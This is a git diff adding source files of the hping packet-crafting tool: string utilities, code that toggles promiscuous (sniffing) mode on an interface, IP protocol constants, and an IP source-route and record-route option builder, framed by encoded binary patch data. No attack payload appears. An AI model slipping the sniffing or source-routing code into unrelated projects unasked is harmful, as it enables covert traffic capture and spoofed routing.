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 Dh>pVq literal 0 HcmV?d00001 diff --git a/hstring.c b/hstring.c new file mode 100644 index 0000000..3bfc9e2 --- /dev/null +++ b/hstring.c @@ -0,0 +1,80 @@ +/* hstring.c - Random string-related functions for hping. + * Copyright(C) 2003 Salvatore Sanfilippo + * All rights reserved */ + +#include +#include +#include + +/* return 1 if the string looks like an integer number + * otherwise 0 is returned. + * + * this function is equivalent to this regexp: + * [:space:]*-{0,1}[0-9]+[:space:]* + * in english: + * (0-inf spaces)(zero or one -)(1-inf digits)(0-inf spaces) + */ +int strisnum(char *s) +{ + int digits = 0; /* used to return false if there aren't digits */ + + while(isspace(*s)) + s++; /* skip initial spaces */ + if (*s == '-') /* negative number? */ + s++; + while(*s) { + if (isspace(*s)) { /* skip spaces in the tail */ + while(isspace(*s)) + s++; + if (*s) return 0; /* but don't allow other tail chars */ + return digits ? 1 : 0; + } + if (!isdigit(*s)) + return 0; + s++; + digits++; + } + return digits ? 1 : 0; +} + +/* function similar to strtok() more convenient when we know the + * max number of tokens, to tokenize with a single call. + * Unlike strtok(), strftok() is thread safe. + * + * ARGS: + * 'sep' is a string that contains all the delimiter characters + * 'str' is the string to tokenize, that will be modified + * 'tptrs' is an array of char* poiters that will contain the token pointers + * 'nptrs' is the length of the 'tptrs' array. + * + * RETURN VALUE: + * The number of extracted tokens is returned. + */ +size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs) +{ + size_t seplen = strlen(sep); + size_t i, j = 0; + int inside = 0; + + while(*str) { + for(i = 0; i < seplen; i++) { + if (sep[i] == *str) + break; + } + if (i == seplen) { /* no match */ + if (!inside) { + tptrs[j++] = str; + inside = 1; + } + } else { /* match */ + if (inside) { + *str = '\0'; + if (j == nptrs) + return j; + inside = 0; + } + } + str++; + } + return j; +} diff --git a/hstring.h b/hstring.h new file mode 100644 index 0000000..9f83133 --- /dev/null +++ b/hstring.h @@ -0,0 +1,7 @@ +#ifndef HPING_HSTRNIG_H +#define HPING_HSTRING_H + +int strisnum(char *s); +size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs); + +#endif diff --git a/if_promisc.c b/if_promisc.c new file mode 100644 index 0000000..f986005 --- /dev/null +++ b/if_promisc.c @@ -0,0 +1,60 @@ +/* + * $smu-mark$ + * $name: if_promisc.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +int if_promisc_on(int s) +{ + struct ifreq ifr; + + strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)"); + return -1; + } + + if (!(ifr.ifr_flags & IFF_PROMISC)) { + ifr.ifr_flags |= IFF_PROMISC; + if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)"); + return -1; + } + } + return 0; +} + +int if_promisc_off(int s) +{ + struct ifreq ifr; + + strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)"); + return -1; + } + + if (ifr.ifr_flags & IFF_PROMISC) { + ifr.ifr_flags ^= IFF_PROMISC; + if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)"); + return -1; + } + } + return 0; +} diff --git a/in.h b/in.h new file mode 100644 index 0000000..306d8e6 --- /dev/null +++ b/in.h @@ -0,0 +1,32 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo */ + +#ifndef ARS_IPPROTO_IP + +#define ARS_IPPROTO_IP 0 /* Dummy protocol for TCP. */ +#define ARS_IPPROTO_HOPOPTS 0 /* IPv6 Hop-by-Hop options. */ +#define ARS_IPPROTO_ICMP 1 /* Internet Control Message Protocol. */ +#define ARS_IPPROTO_IGMP 2 /* Internet Group Management Protocol. */ +#define ARS_IPPROTO_IPIP 4 /* IPIP tunnels (older KA9Q tunnels use 94).*/ +#define ARS_IPPROTO_TCP 6 /* Transmission Control Protocol. */ +#define ARS_IPPROTO_EGP 8 /* Exterior Gateway Protocol. */ +#define ARS_IPPROTO_PUP 12 /* PUP protocol. */ +#define ARS_IPPROTO_UDP 17 /* User Datagram Protocol. */ +#define ARS_IPPROTO_IDP 22 /* XNS IDP protocol. */ +#define ARS_IPPROTO_TP 29 /* SO Transport Protocol Class 4. */ +#define ARS_IPPROTO_IPV6 41 /* IPv6 header. */ +#define ARS_IPPROTO_ROUTING 43 /* IPv6 routing header. */ +#define ARS_IPPROTO_FRAGMENT 44 /* IPv6 fragmentation header. */ +#define ARS_IPPROTO_RSVP 46 /* Reservation Protocol. */ +#define ARS_IPPROTO_GRE 47 /* General Routing Encapsulation. */ +#define ARS_IPPROTO_ESP 50 /* encapsulating security payload. */ +#define ARS_IPPROTO_AH 51 /* authentication header. */ +#define ARS_IPPROTO_ICMPV6 58 /* ICMPv6. */ +#define ARS_IPPROTO_NONE 59 /* IPv6 no next header. */ +#define ARS_IPPROTO_DSTOPTS 60 /* IPv6 destination options. */ +#define ARS_IPPROTO_MTP 92 /* Multicast Transport Protocol. */ +#define ARS_IPPROTO_ENCAP 98 /* Encapsulation Header. */ +#define ARS_IPPROTO_PIM 103 /* Protocol Independent Multicast. */ +#define ARS_IPPROTO_COMP 108 /* Compression Header Protocol. */ +#define ARS_IPPROTO_RAW 255 /* Raw IP packets. */ + +#endif diff --git a/ip_opt_build.c b/ip_opt_build.c new file mode 100644 index 0000000..902f63c --- /dev/null +++ b/ip_opt_build.c @@ -0,0 +1,83 @@ +/* + * $smu-mark$ + * $name: memunlock.c$ + * $other_author: Mika + * $other_copyright: Copyright (C) 1999 Mika + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +unsigned char ip_opt_build(char* ip_opt) +{ + unsigned char optlen = 0; + unsigned long ip; + + memset(ip_opt, 1, sizeof(ip_opt)); + + if (opt_lsrr) + { + if (lsr_length<=39) + { + memcpy(ip_opt, &lsr, lsr_length); + optlen += lsr_length; + } + else + { + printf("Warning: loose source route is too long, discarding it"); + opt_lsrr=0; + } + } + + if (opt_ssrr) + { + if (ssr_length+optlen<=39) + { + memcpy(ip_opt + optlen, &ssr, ssr_length); + optlen += ssr_length; + } + else + { + printf("Warning: strict source route is too long, discarding it"); + opt_ssrr=0; + } + } + + if (opt_rroute) + { + if (optlen<=33) + { + ip_opt[optlen]=IPOPT_RR; + ip_opt[optlen+1]=39-optlen; + ip_opt[optlen+2]=8; + ip=inet_addr("1.2.3.4"); + memcpy(ip_opt+optlen+3,&ip,4); + optlen=39; + } + else + { + printf("Warning: no room for record route, discarding option\n"); + opt_rroute=0; + } + } + + if (optlen) + { + optlen = (optlen + 3) & ~3; + ip_opt[optlen-1] = 0; + return optlen; + } + else + return 0; +} + diff --git a/libars.a b/libars.a new file mode 100644 index 0000000000000000000000000000000000000000..7f2e1ecd1ce64d2f48eb96071e57a4efd37cb65e GIT binary patch literal 181668 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 